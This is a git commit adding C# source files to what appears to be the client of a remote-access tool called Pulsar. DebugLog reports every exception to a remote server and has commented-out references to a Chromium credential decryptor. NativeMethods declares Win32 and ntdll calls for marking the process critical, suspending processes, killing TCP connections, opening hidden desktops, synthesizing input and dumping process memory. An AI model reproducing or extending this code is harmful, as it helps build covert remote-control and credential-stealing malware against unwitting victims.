initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,232 @@
|
||||
using Pulsar.Client.LoggingAPI;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.ExceptionServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using System.Windows.Automation;
|
||||
|
||||
namespace Pulsar.Client.User
|
||||
{
|
||||
internal class DebugLog : IDisposable
|
||||
{
|
||||
private readonly HashSet<Type> _ignoredExceptionTypes;
|
||||
private readonly HashSet<Type> _ignoredClasses;
|
||||
|
||||
public DebugLog()
|
||||
{
|
||||
_ignoredExceptionTypes = new HashSet<Type>
|
||||
{
|
||||
typeof(CryptographicException),
|
||||
typeof(IOException),
|
||||
typeof(UnauthorizedAccessException),
|
||||
//typeof(FormatException)
|
||||
};
|
||||
|
||||
_ignoredClasses = new HashSet<Type>
|
||||
{
|
||||
//typeof(Pulsar.Client.Kematian.HelpingMethods.Decryption.ChromiumDecryptor),
|
||||
//typeof(Pulsar.Client.Kematian.HelpingMethods.Decryption.ChromiumV127Decryptor)
|
||||
};
|
||||
|
||||
AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
|
||||
Application.ThreadException += Application_ThreadException;
|
||||
TaskScheduler.UnobservedTaskException += TaskScheduler_UnobservedTaskException;
|
||||
AppDomain.CurrentDomain.FirstChanceException += FirstChanceExcpetion_Handler;
|
||||
}
|
||||
|
||||
private void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
|
||||
{
|
||||
if (e.ExceptionObject is Exception ex)
|
||||
{
|
||||
if (ShouldIgnoreException(ex))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
LogException(ex);
|
||||
UniversalDebugLogger.SendLogToServer(ex.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
private void Application_ThreadException(object sender, ThreadExceptionEventArgs e)
|
||||
{
|
||||
if (ShouldIgnoreException(e.Exception))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
LogException(e.Exception);
|
||||
UniversalDebugLogger.SendLogToServer(e.Exception.ToString());
|
||||
}
|
||||
|
||||
private void TaskScheduler_UnobservedTaskException(object sender, UnobservedTaskExceptionEventArgs e)
|
||||
{
|
||||
if (ShouldIgnoreException(e.Exception))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
LogException(e.Exception);
|
||||
UniversalDebugLogger.SendLogToServer(e.Exception.ToString());
|
||||
}
|
||||
|
||||
private void FirstChanceExcpetion_Handler(object sender, FirstChanceExceptionEventArgs e)
|
||||
{
|
||||
if (_ignoredExceptionTypes.Contains(e.Exception.GetType()))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// see if its class is ignored
|
||||
if (ShouldIgnoreException(e.Exception))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
LogException(e.Exception);
|
||||
UniversalDebugLogger.SendLogToServer(e.Exception.ToString());
|
||||
}
|
||||
|
||||
private bool ShouldIgnoreException(Exception ex)
|
||||
{
|
||||
// check against ignored classes
|
||||
var declaringType = ex.TargetSite?.DeclaringType;
|
||||
if (declaringType != null && _ignoredClasses.Contains(declaringType))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
if (IsUiAutomationException(ex))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
if (ex is ApplicationException &&
|
||||
ex.Message.Contains("No devices of the category") &&
|
||||
ex.StackTrace?.Contains("AForge.Video.DirectShow.FilterInfoCollection.CollectFilters") == true)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
if (IsBlacklistedMessage(ex.Message) || IsBlacklistedMessage(ex.ToString()))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private bool IsUiAutomationException(Exception ex)
|
||||
{
|
||||
if (ex == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (ex is ElementNotAvailableException ||
|
||||
ex is ElementNotEnabledException ||
|
||||
ex is NoClickablePointException)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
if (ex is InvalidOperationException &&
|
||||
(ex.Source?.IndexOf("UIAutomation", StringComparison.OrdinalIgnoreCase) >= 0 ||
|
||||
ex.StackTrace?.IndexOf("MS.Internal.Automation", StringComparison.OrdinalIgnoreCase) >= 0))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
var exceptionText = ex.ToString();
|
||||
|
||||
if (string.IsNullOrEmpty(exceptionText))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
if (exceptionText.Contains("MS.Internal.Automation") ||
|
||||
exceptionText.Contains("System.Windows.Automation") ||
|
||||
exceptionText.Contains("UIAutomationClient") ||
|
||||
exceptionText.Contains("AutomationProxies"))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
if (exceptionText.IndexOf("L'op\u00E9ration n'est pas valide en raison de l'\u00E9tat actuel de l'objet", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
if (exceptionText.IndexOf("The target element corresponds to a user interface that is no longer available", StringComparison.OrdinalIgnoreCase) >= 0)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private bool IsBlacklistedMessage(string message)
|
||||
{
|
||||
if (string.IsNullOrEmpty(message))
|
||||
return false;
|
||||
|
||||
if (UniversalDebugLogger.IsUiAutomationLog(message))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
var blacklistedPatterns = new[]
|
||||
{
|
||||
"HRESULT: [0x887A0027]",
|
||||
"DXGI_ERROR_WAIT_TIMEOUT",
|
||||
"WaitTimeout",
|
||||
"The timeout value has elapsed and the resource is not yet available",
|
||||
"SharpDX.SharpDXException",
|
||||
"SharpDX.DXGI",
|
||||
"SharpDX.Result.CheckError()",
|
||||
"Waiting for frame requests. Buffer size:",
|
||||
"Received packet: GetDesktop",
|
||||
"Capture FPS:",
|
||||
"Buffer size:",
|
||||
"Pending requests:",
|
||||
"Value does not fall within the expected range.",
|
||||
"Accessibility.IAccessible.get_accChild",
|
||||
"0x800401D0"
|
||||
};
|
||||
|
||||
foreach (var pattern in blacklistedPatterns)
|
||||
{
|
||||
if (message.Contains(pattern))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private void LogException(Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Exception: {ex.Message}\nStack Trace: {ex.StackTrace}");
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
// Dispose managed resources here
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,239 @@
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Utilities
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides access to the Win32 API.
|
||||
/// </summary>
|
||||
public static class NativeMethods
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct LASTINPUTINFO
|
||||
{
|
||||
public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO));
|
||||
[MarshalAs(UnmanagedType.U4)] public UInt32 cbSize;
|
||||
[MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
|
||||
}
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
public static extern int NtResumeProcess(IntPtr processHandle);
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool SetForegroundWindow(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool IsIconic(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern IntPtr LoadLibrary(string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool FreeLibrary(IntPtr hModule);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool SetCursorPos(int x, int y);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = false)]
|
||||
internal static extern IntPtr GetMessageExtraInfo();
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
internal static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
|
||||
internal const int STARTF_USEPOSITION = 0x00000004;
|
||||
internal const int STARTF_USESHOWWINDOW = 0x00000001;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Synthesizes keystrokes, mouse motions, and button clicks.
|
||||
/// </summary>
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern uint SendInput(uint nInputs,
|
||||
[MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs,
|
||||
int cbSize);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct INPUT
|
||||
{
|
||||
internal uint type;
|
||||
internal InputUnion u;
|
||||
internal static int Size => Marshal.SizeOf(typeof(INPUT));
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
internal struct InputUnion
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
internal MOUSEINPUT mi;
|
||||
[FieldOffset(0)]
|
||||
internal KEYBDINPUT ki;
|
||||
[FieldOffset(0)]
|
||||
internal HARDWAREINPUT hi;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct MOUSEINPUT
|
||||
{
|
||||
internal int dx;
|
||||
internal int dy;
|
||||
internal int mouseData;
|
||||
internal uint dwFlags;
|
||||
internal uint time;
|
||||
internal IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct KEYBDINPUT
|
||||
{
|
||||
internal ushort wVk;
|
||||
internal ushort wScan;
|
||||
internal uint dwFlags;
|
||||
internal uint time;
|
||||
internal IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct HARDWAREINPUT
|
||||
{
|
||||
public uint uMsg;
|
||||
public ushort wParamL;
|
||||
public ushort wParamH;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool SystemParametersInfo(
|
||||
uint uAction, uint uParam, ref IntPtr lpvParam,
|
||||
uint flags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
|
||||
internal static extern IntPtr OpenDesktop(
|
||||
string hDesktop, int flags, bool inherit,
|
||||
uint desiredAccess);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool CloseDesktop(
|
||||
IntPtr hDesktop);
|
||||
|
||||
internal delegate bool EnumDesktopWindowsProc(
|
||||
IntPtr hDesktop, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool EnumDesktopWindows(
|
||||
IntPtr hDesktop, EnumDesktopWindowsProc callback,
|
||||
IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern bool IsWindowVisible(
|
||||
IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
internal static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
|
||||
|
||||
[DllImport("ntdll.dll", SetLastError = true)]
|
||||
public static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
|
||||
|
||||
[DllImport("iphlpapi.dll", SetLastError = true)]
|
||||
internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion,
|
||||
TcpTableClass tblClass, uint reserved = 0);
|
||||
|
||||
[DllImport("iphlpapi.dll")]
|
||||
internal static extern int SetTcpEntry(IntPtr pTcprow);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct MibTcprowOwnerPid
|
||||
{
|
||||
public uint state;
|
||||
public uint localAddr;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort;
|
||||
public uint remoteAddr;
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort;
|
||||
public uint owningPid;
|
||||
public IPAddress LocalAddress
|
||||
{
|
||||
get { return new IPAddress(localAddr); }
|
||||
}
|
||||
|
||||
public ushort LocalPort
|
||||
{
|
||||
get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); }
|
||||
}
|
||||
|
||||
public IPAddress RemoteAddress
|
||||
{
|
||||
get { return new IPAddress(remoteAddr); }
|
||||
}
|
||||
|
||||
public ushort RemotePort
|
||||
{
|
||||
get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); }
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct MibTcptableOwnerPid
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
private readonly MibTcprowOwnerPid table;
|
||||
}
|
||||
|
||||
internal enum TcpTableClass
|
||||
{
|
||||
TcpTableBasicListener,
|
||||
TcpTableBasicConnections,
|
||||
TcpTableBasicAll,
|
||||
TcpTableOwnerPidListener,
|
||||
TcpTableOwnerPidConnections,
|
||||
TcpTableOwnerPidAll,
|
||||
TcpTableOwnerModuleListener,
|
||||
TcpTableOwnerModuleConnections,
|
||||
TcpTableOwnerModuleAll
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum MiniDumpType : uint
|
||||
{
|
||||
MiniDumpNormal = 0x00000000,
|
||||
MiniDumpWithDataSegs = 0x00000001,
|
||||
MiniDumpWithFullMemory = 0x00000002,
|
||||
MiniDumpWithHandleData = 0x00000004,
|
||||
MiniDumpFilterMemory = 0x00000008,
|
||||
MiniDumpScanMemory = 0x00000010,
|
||||
MiniDumpWithUnloadedModules = 0x00000020,
|
||||
MiniDumpWithIndirectlyReferencedMemory = 0x00000040,
|
||||
MiniDumpFilterModulePaths = 0x00000080,
|
||||
MiniDumpWithProcessThreadData = 0x00000100,
|
||||
MiniDumpWithPrivateReadWriteMemory = 0x00000200,
|
||||
MiniDumpWithoutOptionalData = 0x00000400,
|
||||
MiniDumpWithFullMemoryInfo = 0x00000800,
|
||||
MiniDumpWithThreadInfo = 0x00001000,
|
||||
MiniDumpWithCodeSegs = 0x00002000
|
||||
}
|
||||
|
||||
[DllImport("DbgHelp.dll", SetLastError = true)]
|
||||
internal static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, MiniDumpType DumpType,
|
||||
IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern int NtSuspendProcess(IntPtr processHandle);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,62 @@
|
||||
using System;
|
||||
using System.Threading;
|
||||
|
||||
namespace Pulsar.Client.Utilities
|
||||
{
|
||||
/// <summary>
|
||||
/// A user-wide mutex that ensures that only one instance runs at a time.
|
||||
/// </summary>
|
||||
public class SingleInstanceMutex : IDisposable
|
||||
{
|
||||
/// <summary>
|
||||
/// The mutex used for process synchronization.
|
||||
/// </summary>
|
||||
private readonly Mutex _appMutex;
|
||||
|
||||
/// <summary>
|
||||
/// Represents if the mutex was created on the system or it already existed.
|
||||
/// </summary>
|
||||
public bool CreatedNew { get; }
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the instance is disposed and should not be used anymore.
|
||||
/// </summary>
|
||||
public bool IsDisposed { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of <see cref="SingleInstanceMutex"/> using the given mutex name.
|
||||
/// </summary>
|
||||
/// <param name="name">The name of the mutex.</param>
|
||||
public SingleInstanceMutex(string name)
|
||||
{
|
||||
_appMutex = new Mutex(false, $"Local\\{name}", out var createdNew);
|
||||
CreatedNew = createdNew;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Releases all resources used by this <see cref="SingleInstanceMutex"/>.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Releases the mutex object.
|
||||
/// </summary>
|
||||
/// <param name="disposing"><c>True</c> if called from <see cref="Dispose"/>, <c>false</c> if called from the finalizer.</param>
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (IsDisposed)
|
||||
return;
|
||||
|
||||
if (disposing)
|
||||
{
|
||||
_appMutex?.Dispose();
|
||||
}
|
||||
|
||||
IsDisposed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user